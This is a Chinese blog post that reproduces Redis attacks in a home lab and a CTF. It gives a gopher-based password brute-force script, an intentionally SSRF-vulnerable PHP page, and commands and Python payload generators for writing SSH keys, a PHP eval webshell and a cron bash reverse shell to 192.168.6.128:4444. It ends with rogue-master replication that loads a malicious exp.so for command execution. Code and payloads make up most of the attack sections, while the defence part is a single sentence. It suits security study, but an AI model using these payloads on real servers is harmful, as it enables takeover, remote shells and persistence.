中间件漏洞之redis

前置知识

redis持久化存储

在这里插入图片描述

RDB Redis DataBase(默认)
AOF Append Only File(会追加日志文件)
配置:
1、 save <自定义单位时间/秒> <单位时间内改变的文件数> #自动触发规则
save 3600 1(3600秒内有至少一个文件被改变就刷新磁盘)
可配置多条规则同时生效
2、dbfilename dump.rdb #dump.rdb是默认保存文件名
3、dir#存储路径

手动触发保存命令:save /bgsave

动态修改配置

在这里插入图片描述
这里dbfilename可以是任意后缀,这就可能导致写入木马。

打redis常用命令

1. INFO 
   用于获取 Redis 服务器的信息,包括主从状态、内存使用情况等。  
   示例:INFO replication

2. SLAVEOF
   用来设置某个 Redis 实例为另一个实例的从节点。  
   示例:SLAVEOF <master-ip> <master-port>
   (注:可以用SLAVEOF no one来解除主从关系)

3. CONFIG SET
   用来修改 Redis 配置,例如设置从节点的主节点。
   示例:CONFIG SET slaveof <master-ip> <master-port> 
   其他配置示例:
   CONFIG SET dir /root/redis:设置保存目录。
   CONFIG SET dbfilename redis.rdb:设置保存文件名。
   CONFIG SET protected-mode no:关闭安全模式。

4. CONFIG GET 
   用来获取 Redis 的当前配置。  
   示例:
   CONFIG GET dir:查看保存目录。
   CONFIG GET dbfilename:查看保存文件名。

5. PING
   用于测试与 Redis 服务器的连接,成功时返回PONG。 
   示例:PING

6. SET
   设置键值对。  
   示例:SET key value
   (键的值若包含空格,需用双引号括起来,如"Hello World")

7. MSET
   批量设置键值对。  
   示例:MSET k1 v1 k2 v2 k3 v3

8. GET
   获取指定键的值。  
   示例:GET key

9. MGET
   批量获取多个键的值。  
   示例:MGET k1 k2 k3

10. INCR
    对指定键的值进行自增操作。  
    示例:INCR score

11. KEYS
    列出当前数据库中所有的键。  
    示例:KEYS

12. DEL
    删除指定的键。  
    示例:DEL key

13. FLUSHALL
    清空所有数据库中的数据。  
    示例:FLUSHALL

14. SAVE 
    手动进行一次数据保存,将数据写入到磁盘。  
    示例:SAVE

15. EVAL
    执行 Lua 脚本,可以用来执行复杂的操作。  
    示例:EVAL "your_lua_script" 0

16. redis-cli -h <ip> -p 6379 -a <passwd>  
    用于通过 IP(或域名)和端口连接 Redis 实例。  
    示例:redis-cli -h 192.168.1.1 -p 6379 -a password
---
说明:
Redis 命令大小写不敏感,SET 和 set 是等效的。
如果获取一个不存在的键,Redis 会返回 (nil)。

利用

弱口令

顾名思义。。。

参考文章里面的爆破脚本

import requests

target = "http://x.x.x.x:6666/index.php?url="  # 请输入目标url
rhost = "127.0.0.1"   
rport = "6379"

with open("passwords.txt","r+") as file:
    passwds = file.readlines()
    for passwd in passwds:
        passwd = passwd.strip("\n")
        len_pass = len(passwd)
        payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
        url = target+str(payload)
        text = requests.get(url).text
        if "OK" in text:
            print("[+] 爆破成功 密码为: " + passwd)
            print(text + payload)
            break


未授权访问

在 redis.conf 的配置文件中,有两个关键的配置会造成 Redis 未授权访问

  • bind x.x.x.x
    配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
    如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
  • protected-mode
    功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接,设置为no就会运行任意主机连接

以下几个利用方式都是在通过前两个方式取得redis权限后才可以利用。

写ssh公钥

直接写

这玩意官方都不认为是个漏洞,纯纯就是用户安全配置不当导致的,但凡开个防火墙什么的都可以避免。
利用redis未授权漏洞,webshell写入,ssh公钥写入,计划任务反弹shell

环境搭建: centos7,kali
这里环境配了一个晚上,各种各样问题(为什么别人复现的文章好像都没问题,一到我就各种问题🤯)。
第一个是防火墙关闭,redis配置文件已经把bind 127.0.0.1注释,并且关闭安全保护模块了,kali仍然不能连接redis服务器,另一个是访问php网站没解析而是在页面源代码里面出现源码的问题。
第一个问题网上搜半天没结果,不过gpt给了一个可行方案:

如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。
redis-server --protected-mode no

第二个问题https://blog.csdn.net/wkh___/article/details/83540713,当然也可以自己上网搜来解决
第三个问题(这个巨坑,搞了两天才发现是这个问题,之前还以为是centos没dict服务才导致的,还tm傻傻的看了一下午centos如何搭建字典服务),redis要注册成服务,否则dict协议探测不到:https://blog.csdn.net/q309572960/article/details/120855670
第四个问题:检查 SELinux 是否处于 enforcing 模式,如果是,可以尝试暂时将其设置为 permissive 或 disabled模式。

开始实验:
先在centos写个网站首页index.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 添加这一行以返回结果而不是直接输出
$result = curl_exec($ch);
curl_close($ch);

if ($result === false) {
    echo 'Curl error: ' . curl_error($ch);
} else {
    echo $result; // 输出cURL请求的结果
}

highlight_file(__FILE__);
?>

nmap 192.168.93.130无法探测到redis端口,必须指定扫描6379才探测到开放,也不知道为啥

nmap 192.168.93.130 -p 6379

kali测试联通性,存在未授权访问

在这里插入图片描述

测试是否存在ssrf:访问centos服务器首页:为了测试我在网站下面写了个1.txt,先http协议读取一下

在这里插入图片描述
读取成功可以访问内部资源
dict协议探测redis

在这里插入图片描述

这里还有个条件,受害机需要有.ssh目录:mkdir /root/.ssh
在攻击机中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa

进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件

cd /root/.ssh
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) >ceshi.txt

把ceshi.txt给cp到桌面或者其他好打开的地方打开

在这里插入图片描述然后kali如下图执行命令,向目标机写入公钥

在这里插入图片描述

靶机检查是否写入

在这里插入图片描述
采用密钥连接靶机

在这里插入图片描述

ssrf

这里直接用参考文章的脚本了,但是要声明python2和utf-8编码

#!/usr/bin/python2
# -*- coding: UTF-8 -*-
import urllib
protocol="gopher://"
ip="192.168.6.130"
port="6379"
sshpublic_key = "\n\n\n"+"id_rsa.pub里的内容粘贴替换这里"+"\n\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
    print "二次url编码后的结果:\n" + urllib.quote(payload)

还是进入root/.ssh生成密钥

运行上述脚本传入payload

查看靶机是否生成key
在这里插入图片描述

连接ssh -i id_rsa root@192.168.6.130

在这里插入图片描述

绝对路径写shell

条件:
redis 有 root
知道网站绝对路径

直接写

flushall
set 1 '<?php @eval($_REQUEST["cmd"]); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save

在这里插入图片描述
在这里插入图片描述

ssrf

由于此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的

#!/usr/bin/env python2
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"  # 使用的协议 
ip="192.168.6.132"
port="6379"   # 目标redis的端口号 
shell="\n\n<?php @eval($_REQUEST['cmd']); ?>\n\n"
filename="shell.php"   # shell的名字 
path="/var"      # 写入的路径
passwd=""   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
    print "二次url编码后的结果:\n" +urllib.quote( payload)

不过这边传payload之后一直在加载中,估计是我网络不太好。就不放图了。

反弹shell

条件:
redis 有 root
centos:
由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos

直接写

参考文章里面命令复制过来。填的是自己攻击机机ip。

flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save

在这里插入图片描述

连接上但是报了个错是怎么回事

AI:
cron 任务的格式应该是 * * * * * command_to_run,其中 command_to_run 是要执行的命令,而不需要指定用户,因为 cron 会根据 /var/spool/cron 下文件的所有者来确定以哪个用户身份执行任务。
正确的 cron 任务格式应该是 "* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1",这里不需要 root 关键字,因为 cron 会以 root 身份运行,该关键字会导致命令执行错误。
正确命令:
flushall
set 1 "\n\n\n\n* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save

在这里插入图片描述
分析:

在执行 config set dir ‘/var/spool/cron’ 和 config set dbfilename root 之前,当你使用 set 1 “\n\n\n\n* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n” 时,该数据会被存储在 Redis 的内存中。

config set dir '/var/spool/cron'
config set dbfilename root会创建/var/spool/cron/root这个文件
当你执行 save 命令时,Redis 会将当前内存中的数据以快照的形式保存到磁盘上。
save这一步会触发 Redis 的持久化操作。由于之前通过 config set 命令修改了存储目录和文件名,Redis 会将当前的数据(包括键 1 和其对应的值)保存到 /var/spool/cron/root 文件中。

在这里插入图片描述

ssrf

kali开个nc监听,运行下面脚本

import urllib.parse
protocol = "gopher://"
ip = "192.168.6.130"#受害机ip
port = "6379"
reverse_ip = "192.168.6.128"
reverse_port = "4444"
cron = "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n\n\n".format(reverse_ip, reverse_port)
filename = "root"
path = "/var/spool/cron"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(cron.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)
    print("二次 url 编码后的结果:\n" +urllib.parse.quote(payload))

"""把下面payload传进去即可,我下图中多传了个http://什么什么的不过没影响到反弹。
gopher%3A//192.168.6.130%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252463%250D%250A%250A%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.6.128/4444%25200%253E%25261%250A%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A/var/spool/cron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
"""

在这里插入图片描述

主从复制

经典题目[网鼎杯 2020 玄武组]SSRFMe,复现参考https://www.freebuf.com/articles/web/293030.html

 <?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?> 

check_inner_ip($url)这是一个 PHP 函数,用于检查给定的 URL 是否是内网 IP 地址。下面是函数的解读:

首先,函数使用正则表达式来检查 URL 的格式是否正确。如果 URL 格式不正确,函数将退出并输出错误信息 "url fomat error"。
如果 URL 格式正确,函数将使用 parse_url 函数将 URL 解析成各个组件,包括主机名(host)。
然后,函数使用 gethostbyname 函数将主机名转换为 IP 地址。
将 IP 地址转换为整数形式,使用 ip2long 函数。
最后,函数检查整数形式的 IP 地址是否属于内网 IP 地址范围。内网 IP 地址范围包括:
    127.0.0.0/8(localhost)
    10.0.0.0/8
    172.16.0.0/12
    192.168.0.0/16
    函数使用位操作符(>>)来检查 IP 地址是否在这些范围内。如果是,函数返回 true,否则返回 false。

总的来说,这个函数可以用于检查 URL 是否指向内网 IP 地址,如果是,返回 true,否则返回 false。

linux中0.0.0.0可以代替127.0.0.1.url=http://0.0.0.0/hint.php,访问得到redis密码root

用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
Awsome-Redis-Rogue-Server,有授权使用

将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

自己的vps(我上网买的,正好cloudcone促销活动)上面开启主服务
python3 redis_rogue_server.py -v -path exp.so -lport 21000

在这里插入图片描述

设置备份路径

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root(登录)
config set dir /tmp/(将 Redis 的工作目录更改为 /tmp/,这意味着 Redis 将在该目录下保存其数据库文件)
quit(退出)

加载exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so(设置Redis的备份文件名(即导出文件名)为exp.so 。默认情况下,Redis的备份文件名是dump.rdb)
slaveof 1.xx.xx.xx 21000
quit
执行之后,主从同步能够看到回显,会一直同步
在这里插入图片描述

加载模块

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

在这里插入图片描述

关闭关闭主从同步

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

导出数据库

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

获取flag

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec “cat /flag”
quit

在这里插入图片描述反弹shell的方法我这边报错

string(97) "+OK -ERR unknown command `system.rev`, with args beginning with: `xxx.xxx.xxx.xxx`, `6666`, +OK " 

不知道为什么T_T,就只能用第一种方法实现

防御措施

在这里插入图片描述
推荐redis部署在内网而不是外网。


参考文章:
https://www.cnblogs.com/wjrblogs/p/14456190.html
https://blog.csdn.net/unexpectedthing/article/details/121667613


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值